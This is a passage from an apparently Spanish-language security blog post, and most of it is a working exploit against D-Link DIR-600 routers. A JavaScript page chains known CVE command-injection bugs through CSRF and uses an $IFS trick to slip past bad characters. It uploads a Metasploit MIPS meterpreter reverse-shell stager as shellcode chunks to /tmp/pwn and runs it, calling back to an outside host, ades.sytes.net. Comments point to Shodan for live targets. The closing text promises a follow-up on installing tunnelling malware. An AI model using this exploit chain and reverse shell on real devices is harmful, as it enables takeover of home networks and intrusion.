Credits: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16327">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16327</a></br></br>

<b>BUG 3 - m1adv2013-003:</b> Code Injection (Unauth due Bug 2) in path: /command.php parameter: cmd (Bug discovered in 2013)</br>
Credits: <a href="http://www.s3cur1ty.de/m1adv2013-003">http://www.s3cur1ty.de/m1adv2013-003</a></br></br>

<b>Bypasses:</b> In this exploit '$IFS env bypass trick' was used to avoid spaces and badchars (+ and double encode) in order to execute long commands within BUG 3.</br></br>
Credits: <a href="https://raidforums.com/Thread-Command-Injection-WAF-Bypass-with-IFS">https://raidforums.com/Thread-Command-Injection-WAF-Bypass-with-IFS</a></br></br>

Enjoy :)
<script src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.4.1.min.js"></script>
<script>
// Firmwares Download: https://github.com/MikimotoH/DLink_Harvester/blob/master/au_dlink_filelist.csv
// Analized Firmware: ftp://files.dlink.com.au/products/DIR-600/REV_B5/Firmware/v2.12WWb02/DIR600B5_FW212WWb02.bin

// Online Targets: https://www.shodan.io/search?query=dir-600+Ver+2.12&page=2
var target_url = "http://192.168.0.1/command.php"

// Metasploit MIPSLE MIPS32 V1
// Generated with ./msfvenom -a mipsle -p linux/mipsle/meterpreter/reverse_tcp LHOST=ades.sytes.net LPORT=41900 PrependFork=true -f elf -o mipsle.elf
// Splited to generate shellcode array with: python shellcode_to_hexstring_splited.py mipsle.elf
// The shelcode is an stager, you can switch between normal reverse shell or reverse meterpreter just changing the payload in the multi/handler listener!
var shellcode = []
shellcode[0]='\\\\x7f\\\\x45\\\\x4c\\\\x46\\\\x01\\\\x01\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x08\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x54\\\\x00\\\\x40\\\\x00\\\\x34\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x34\\\\x00\\\\x20\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x00\\\\x00\\\\x40\\\\x00\\\\x64\\\\x01\\\\x00\\\\x00\\\\x74\\\\x02\\\\x00\\\\x00\\\\x07\\\\x00\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x00\\\\xfa\\\\xff\\\\x0f\\\\x24\\\\x27\\\\x78\\\\xe0\\\\x01\\\\xfd\\\\xff\\\\xe4\\\\x21\\\\xfd\\\\xff\\\\xe5\\\\x21'
shellcode[1]='\\\\xff\\\\xff\\\\x06\\\\x28\\\\x57\\\\x10\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x36\\\\x00\\\\x00\\\\x16\\\\xfc\\\\xff\\\\xa2\\\\xaf\\\\xfc\\\\xff\\\\xa4\\\\x8f\\\\xfd\\\\xff\\\\x0f\\\\x24\\\\x27\\\\x78\\\\xe0\\\\x01\\\\xe2\\\\xff\\\\xaf\\\\xaf\\\\xa3\\\\xac\\\\x0e\\\\x34\\\\xe4\\\\xff\\\\xae\\\\xaf\\\\xce\\\\x6e\\\\x0e\\\\x3c\\\\x55\\\\x31\\\\xce\\\\x35\\\\xe6\\\\xff\\\\xae\\\\xaf\\\\xe2\\\\xff\\\\xa5\\\\x27\\\\xef\\\\xff\\\\x0c\\\\x24\\\\x27\\\\x30\\\\x80\\\\x01\\\\x4a\\\\x10\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x25\\\\x00\\\\x00\\\\x16\\\\xff\\\\xff\\\\x04\\\\x24\\\\x01\\\\x10\\\\x05\\\\x24\\\\xff\\\\xff\\\\xa5\\\\x20'
shellcode[2]='\\\\xf8\\\\xff\\\\x09\\\\x24\\\\x27\\\\x48\\\\x20\\\\x01\\\\x20\\\\x30\\\\x20\\\\x01\\\\x02\\\\x08\\\\x07\\\\x24\\\\xea\\\\xff\\\\x0b\\\\x24\\\\x27\\\\x58\\\\x60\\\\x01\\\\x20\\\\x58\\\\xab\\\\x03\\\\xff\\\\xff\\\\x60\\\\xad\\\\xfb\\\\xff\\\\x62\\\\xad\\\\xfa\\\\x0f\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x15\\\\x00\\\\x00\\\\x16\\\\xf8\\\\xff\\\\xa2\\\\xaf\\\\xfc\\\\xff\\\\xa4\\\\x8f\\\\xf8\\\\xff\\\\xa5\\\\x8f\\\\x01\\\\x10\\\\x06\\\\x24\\\\xff\\\\xff\\\\xc6\\\\x20\\\\xa3\\\\x0f\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x0c\\\\x00\\\\x00\\\\x16\\\\xf8\\\\xff\\\\xa4\\\\x8f\\\\x20\\\\x28\\\\x40\\\\x00\\\\xfd\\\\xff\\\\x09\\\\x24'
shellcode[3]='\\\\x27\\\\x48\\\\x20\\\\x01\\\\x20\\\\x30\\\\x20\\\\x01\\\\x33\\\\x10\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x2a\\\\x80\\\\x07\\\\x00\\\\x03\\\\x00\\\\x00\\\\x16\\\\xf8\\\\xff\\\\xb1\\\\x8f\\\\xfc\\\\xff\\\\xb2\\\\x8f\\\\x09\\\\xf8\\\\x20\\\\x02\\\\x01\\\\x00\\\\x04\\\\x24\\\\xa1\\\\x0f\\\\x02\\\\x24\\\\x0c\\\\x01\\\\x01\\\\x01\\\\x25\\\\x08\\\\x20\\\\x00\\\\x25\\\\x08\\\\x20\\\\x00'

function upload_shellcode(index){
  if (index == 0) pipe = ">"
  else pipe = ">>"
  $.post(target_url,
  {
    // We do not found a reliable way to upload files using internal rounter capabilities 
    // so we use 'echo -en' command to create a binary file (/tmp/pwn) using the chunks sent in the requests
    cmd: '`echo$IFS\'-en\'$IFS"'+shellcode[index]+'"'+pipe+'/tmp/pwn`' // We use $IFS trick to bypass a bad encoding error in the server processing the CSRF POST request (The server do not parse + as URLENCODE)
  },
  function(data, status){});
}

function execute_shellcode(){
  $.post(target_url,
  {
    // When the requests that craft the reverse shell binary end sucessfully then the following request add execution grants and run the binary
    cmd: "chmod$IFS'755'$IFS'/tmp/pwn';sleep$IFS'1';/bin/sh$IFS'-c'$IFS'/tmp/pwn&'" // We use $IFS trick to bypass a bad encoding error in the server processing the CSRF POST request (The server do not parse + as URLENCODE)
  },
  function(data, status){});
}

console.log("[#] Uploading Reverse Shell Binary")
sleep = 300
for (let index = 0; index < shellcode.length; index++) {
    setTimeout(() => {
      upload_shellcode(index)
    }, sleep);
    sleep += 300
}

// Metasploit handler:
// use multi/handler
// set payload linux/mipsle/meterpreter/reverse_tcp
// set LHOST en0 (Yes, I'm a mac user...)
// set LPORT 41900 
console.log("[#] Executing Reverse Shell... wait for connection!")
sleep += 300
setTimeout(() => {
  execute_shellcode()
}, sleep);

</script>
</html>

Una vez completada la ejecución del HTML malicioso en el browser de la victima:

Debemos esperar el Reverse Shell en nuestro servidor:

Conclusión

Si bien esta entrada muestra como utilizar vulnerabilidades conocidas de forma encadenada para lograr controlar un dispositivo no expuesto a internet. Un atacante podría utilizar el mismo concepto buscando vulnerabilidades 0Day, del mismo tipo que las tratadas en este post, en diversos dispositivos para lograr control remoto sobre los mismos utilizando la misma cadena de explotación.

En la próxima entrada mostraremos como abusar los privilegios obtenidos, de forma automatizada, para instalar software malicioso en el dispositivo que permita utilizarlo como pasarela (tunnel) entre Internet y la Red Local de la víctima.

Una técnica similar a la que trataremos en la próximo entrada fue utilizada por PHINEAS FISHER para acceder a los sistemas de la compañía Hacking Team (empresa que ayudó a diversos gobiernos a piratear y espiar periodistas, activistas, opositores políticos, etc) en 2016 como se describe en el siguiente post: https://www.exploit-db.com/papers/41915